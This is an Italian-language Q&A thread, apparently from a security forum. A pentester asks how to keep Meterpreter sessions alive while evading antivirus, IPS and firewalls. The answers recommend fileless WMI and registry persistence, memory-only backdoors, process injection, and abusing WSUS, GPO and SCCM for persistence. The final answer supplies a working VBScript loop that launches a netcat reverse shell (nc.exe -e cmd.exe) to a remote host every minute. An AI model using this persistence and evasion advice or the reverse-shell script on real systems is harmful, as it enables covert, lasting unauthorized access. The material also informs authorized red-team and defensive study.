Metasploit Meterpreter Script di persistenza Alternative

7

In questi giorni sto testando vari tipi di tecniche di hacking client, e in tutti gli scenari sto usando Meterpreter/reverse_tcp come payload. Ora posso bypassare facilmente Anti-Virus e Firewall, ma quando eseguo il modulo di persistenza, Anti Virus e IPS rilevano sempre i payload Meterpreter usati per la persistenza e eliminano il medesimo problema con lo script meterpreter bypass_UAC.

Come sapete, la sessione meterpreter muore facilmente a causa di varie cose come la connessione a Internet scollegata o il riavvio del sistema e così via.

C'è un modo migliore rispetto allo script di persistenza Meterpreter che può persistere nelle mie sessioni e aggirare anche Anti Virus e Firewall?

C'è un modo in cui lo script di persistenza meterpreter utilizza il mio payload self-crafted invece dei payload generati automaticamente da metasploit che possono essere facilmente ripresi dagli antivirus?

    
posta r4ym0nd PenTester 03.08.2016 - 11:12
fonte

3 risposte

6

Justin Warner fornisce un argomento sul suo blog che è importante riassumere prima di continuare una discussione sulla persistenza:

Is Reboot Persistence a Requirement

I would argue that a backdoor does not have to be reboot persistent. In its very nature, a backdoor is simply a method of gaining access to some targeted resource. Backdoors often have a persistent component but I would say that is a decision best left to the context and scenario of what you are trying to accomplish. In very simple network scenarios or penetration tests that have little focus from network defenders, run-of-the-mill persistence might be applicable and useful. Things like run keys, service executables, or App Init DLLs come in quite handy for this situation.

In more sophisticated or tough network environments, I often try to operate 95% memory only and only resort to reboot persistence in areas that seem to be key-terrain. This might be more paranoid than necessary but by doing this, I help to avoid issues with host based IDS and prevent leaving artifacts on the hosts. In the places I choose to do reboot persistence, I prefer methods that do not utilize a file on disk such as registry storage of payloads.

Prendiamo gli attacchi del mondo reale come il malware Kovter come un esempio del mestiere possibile nel 2016 - link

Thanks to the techniques employed by Kovter, no executable needs to be dropped on the disk – that’s why is known as “fileless” [...] scattered into several layers, but also obfuscated at every stage and containing tricks that slow down the analysis process

Kovter utilizza una combinazione di voci di registro persistenti e PowerShell ( altri spesso usano o suggeriscono il registro remoto, i clienti remoti PS e / o WMI) per eseguire questa persistenza senza file. Alcuni blog hanno parlato a lungo di autostart persistence locations in base a questi, servizi, autoruns, e altri

In meterpreter, è possibile accedere alle tecniche senza file (come descritto nel post del blog di Justin Warner all'inizio di questa risposta) tramite PowerPick e ReflectivePick tecniche, che non richiedono l'esecuzione (o l'elenco dei processi visibili) di qualsiasi powershell.exe. Darkoperator copre l'estensione powershell e la capacità di utilizzare powershell_import comando per inserire una pipeline di PowerShell. È quindi possibile utilizzare le funzionalità di persistenza di PowerSploit, ma queste potrebbero non essere sempre chiaramente definite. Ovviamente, al posto di meterpreter, è possibile utilizzare gli agenti di PowerShellEmpire per fornire il modulo persistence / elevate / wmi . Quello che sto suggerendo, e che probabilmente risolverà il tuo problema direttamente, è quello di trovare solo Persistence.psm1 per eseguire l'abbonamento all'evento permanente WMI tramite powershell_import mentre si trova in meterpreter. Ciò fornirà i bypass AV, IPS e firewall / UTM di cui avrai bisogno, ma potrebbe essere facile da pulire se i risponditori cercano più istanze di questa tecnica.

Il che mi porta alla prossima conversazione che allude a Justin Warner. Ogni macchina che si desidera mantenere in una rete dovrebbe avere una tecnica di persistenza diversa (alcuni forse nessuna strategia), ad esempio, i server con tempi di attività elevati possono avere backdoor residenti in memoria per mesi, forse anni alla volta). Spesso, puoi usare l'infrastruttura di amministrazione del sistema contro il bersaglio, sfruttandolo per il male invece che per il bene, per così dire. Ci sono modi per assumere il controllo di COM gestori, WSUS , AD GPO , BITSadmin , DSC , SCCM e molti altri pacchetti e funzionalità per mantenere la persistenza.

Inoltre, la persistenza del sistema può essere completamente diversa da quella dei trasporti affidabili. Consiglio vivamente di dare un'occhiata alla documentazione di Meterpreter:

  1. link
  2. link

Devi comprendere l'architettura transport per mantenere una connettività di rete affidabile. Uno dei modi migliori per garantire l'affidabilità della rete che tuttavia non copre, è combinare transport con Metasploit AutoRunScript - come indicato nell'altra risposta per ottenere AutoRunScript che funziona nel contesto di meterpreter . copertine di mubix trasporta più in dettaglio in questo minuto di metasploit di Hak5.

    
risposta data 03.08.2016 - 22:02
fonte
2

Presumo che tu stia parlando di Windows come sistema di destinazione. In questo caso per i più moderni sistemi operativi Windows, dovresti pensare a powershell e iniettare i payload meterpreter nei processi in esecuzione. Questo di solito elude l'antivirus. Ci sono molti script utili per questo nel framework powersploit. Dai un'occhiata a questo blog per un paio di esempi su ciò che devi fare in pratica.

    
risposta data 03.08.2016 - 16:40
fonte
1

A meno che tu non abbia a che fare con qualche lavoro hardcore pericoloso, allora puoi riferirti alla risposta di atdre. Ma devi solo riavviare meterpreter da ncat ogni volta, questo è tutto.

Usa persistenza ncat / netcat con vbs:

Dim ncShell
Set ncShell = WScript.CreateObject("WScript.shell")

Do while True:
    ncShell.Run "powershell.exe C:\windows\nc.exe 192.168.0.1 -e cmd.exe", 0, true
    WScript.Sleep(60000)
Loop
    
risposta data 26.11.2016 - 21:35
fonte

Leggi altre domande sui tag